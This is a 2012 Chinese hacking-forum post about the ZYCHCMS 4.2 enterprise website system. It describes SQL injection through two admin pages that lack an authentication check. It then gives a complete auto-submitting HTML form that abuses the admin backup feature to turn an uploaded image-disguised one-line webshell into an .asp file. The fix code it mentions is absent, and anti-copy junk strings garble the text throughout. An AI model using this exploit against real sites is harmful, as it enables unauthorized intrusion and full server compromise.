找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2023|回复: 0
打印 上一主题 下一主题

ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-10 21:09:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

" m' V& }8 z/ [9 }
/ C0 m& s) x7 Z4 b; b) p
7 K+ O: C* \5 z# ]8 e  h
3 S/ w' P% A$ F9 F" H) K影响版本:ZYCHCMS企业网站管理系统4.2(存在以下两个文件的版本应该是通杀)& `, ~8 t& n3 l  H# {3 J0 J* }
①SQL注射漏洞2 @, t+ g/ O- n
漏洞文件:/admin/add_js.asp & /admin/add_xm_jiang.asp) g" |% _+ N! _* [1 f3 _
漏洞原因:未过滤
) V) k' ?' P. Z# H7 a4 s 漏洞代码:
1 b! u$ ?, Y' d; W 都是相同的,文件开头没有调用过滤文件/admin/seeion.asp,导致没有对当前权限进行判断,就直接操作数据库。
, R8 `7 r2 F1 A4 B3 ?* O! ~ 修复方法:在文件开头加入代码
+ v5 Z. F, M# ^
0 e* X# l7 P2 ]4 D& b# [# l
- S6 [% r8 T( e4 q- v( w% Q②后台拿WBSHELL" H* ]- O4 ~9 _/ W: o  r; s
进入后台有一个数据库备份,可以通过本地提交突破创建.asp后缀文件夹,并将一句话备份进去。& O) w' E6 P' b' e/ S9 [
这里在网上找了一个,改了下,将就着用。
8 k+ I  J# v. y; [; ~7 A 以下是代码本地提交代码7 x# p7 U! `3 M: q* c

# q/ v. n$ [: O! D8 E
+ b5 K  J9 t! \3 s& A+ L2 L5 q<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>- [* i7 C% L* O  m; _4 A$ c8 F2 U2 U
<!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
  H( O- G; {( R; c: s <tr>
- n/ E+ A, P2 ~6 l% D+ }9 x* n <td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>) o% |$ L+ X& U" ^7 C& ?% \
</tr>, s) B3 i8 \& s
<tr>* \+ `$ @+ E9 N- J) ^
<td bgcolor=”#FFFFFF”><span class=”back_southidc”>, f  `0 @) D! A7 R& O
</span>  b, Z* l% q. d
<table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
8 A$ j1 ^7 @6 n$ B <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
: i2 ?& R' Y7 c, U) d3 X, W <td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
- n8 L: @: T( c6 J& A2 @1 I* P <td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
6 \3 q$ ~, n0 g! e8 |0 ?1 b) ^ <div align=”left”>
2 d% h  [0 m( ~& h# t8 X <input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
) V6 k. E# u* I& F  o7 }4 j <!–eg:../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>1 c+ a  B9 I, T
<input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />" [8 I4 Z" ?% q/ T4 B# }+ R% K
</div></td>) n6 E5 ~9 h4 f+ K- F! A: y
</tr>
% ]1 t% |  j& X$ e <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>+ e6 U  M% V% H- W4 R- a
<td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>; f9 j! X# X5 U* C; _4 g1 A5 T
<td class=”td”><div align=”left”>
; G+ R" v6 i& f8 c) Z% i- s <input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />9 ]( b; w- o$ D+ S9 f. W1 s, `0 T
[如备份目录有该文件,将覆盖,如沒有,将自动创建]</div></td>) z3 v& z5 p* z( a+ s/ a
</tr>( a, O( Q" t7 A  v+ @
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
! s) h& N, q2 q/ ~4 G% E0 H3 L, a <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>' {! m% i1 |# J3 e5 o) W
<td class=”td”><div align=”left”>7 g8 R, d; O: O$ z4 j+ L* t
<input type=”submit” value=”确定备份” class=”btn”
, s& D3 y: l$ H- p. U) i </div></td>' S! D0 E& R; f; d8 O' [; n
</tr>
# h) z& g/ Q  D </table></td></tr></form>
0 ?) ]: U4 A! e. J8 h- i; {) E </table>8 X9 A* a+ ^: \
</td>
& u/ L9 _% y. z" f* Q9 k </tr>
# y- m. \, r( M- I/ }- b </table>
, \8 ~1 u! M( s1 m1 u+ @% p <script>  j6 w% Y5 Q$ }  M* Z
document.all.add.submit();
) j, B( |2 ?7 N3 Z0 ?9 q! b </script>
$ b% q0 @8 s$ y, U
1 y( v& e- ^: X- T
3 ?, ?2 G2 ~3 W0 F6 G4 ?# U* v3 o6 I/ x' H( N* }! d
/ c: D6 _& W8 Y9 [: a1 G
) `/ s1 R3 }+ H7 a
9 U/ M' m; e, t/ V! Y
: V" M1 j# h% X' `
1 Y/ S$ @9 E0 ?$ ~, K
: L) Y- e8 L& b
* P6 K4 J( {& m" ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表